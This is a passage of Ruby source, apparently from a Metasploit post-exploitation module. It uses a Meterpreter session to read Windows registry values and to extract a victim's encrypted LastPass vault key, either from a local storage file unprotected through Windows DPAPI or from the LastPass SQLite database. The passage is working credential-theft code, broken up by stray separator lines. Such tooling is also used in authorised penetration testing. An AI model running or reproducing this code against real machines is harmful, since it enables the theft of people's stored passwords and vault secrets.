begin
|
|
root_key, base_key = session.sys.registry.splitkey(key)
|
|
reg_key = session.sys.registry.open_key(root_key, base_key, KEY_READ)
|
|
return nil unless reg_key
|
|
reg_value = reg_key.query_value(value)
|
|
return nil unless reg_value
|
|
rescue Rex::Post::Meterpreter::RequestError => e
|
|
vprint_error("#{e.message} (#{key}\\#{value})")
|
|
end
|
|
reg_key.close if reg_key
|
|
return reg_value.blank? ? nil : reg_value.data
|
|
end
|
|
|
|
def extract_local_encrypted_vault_key(browser, username, lp_data)
|
|
if browser.match(/Firefox|IE/)
|
|
encrypted_key_path = lp_data['localstorage_db'] + system_separator + OpenSSL::Digest::SHA256.hexdigest(username) + "_lpall.slps"
|
|
encrypted_vault_key = read_remote_file(encrypted_key_path)
|
|
encrypted_vault_key = windows_unprotect(encrypted_vault_key) if encrypted_vault_key != nil && encrypted_vault_key.match(/^AQAAA.+/) # Verify Windows protection
|
|
else
|
|
db = SQLite3::Database.new(lp_data['lp_db_loot'])
|
|
result = db.execute(
|
|
"SELECT data FROM LastPassData " \
|
|
"WHERE username_hash = ? AND type = 'key'", OpenSSL::Digest::SHA256.hexdigest(username)
|
|
)
|
|
encrypted_vault_key = result[0][0]
|
|
end
|
|
|
|
return encrypted_vault_key.blank? ? nil : encrypted_vault_key.split("\n")[0] # Return only the key, not the "lastpass rocks" part
|
|
end
|
|
|
|
# Returns OS separator in a session type agnostic way
|
|
def system_separator
|
|
return session.platform == 'windows' ? '\\' : '/'
|
|
end
|
|
end
|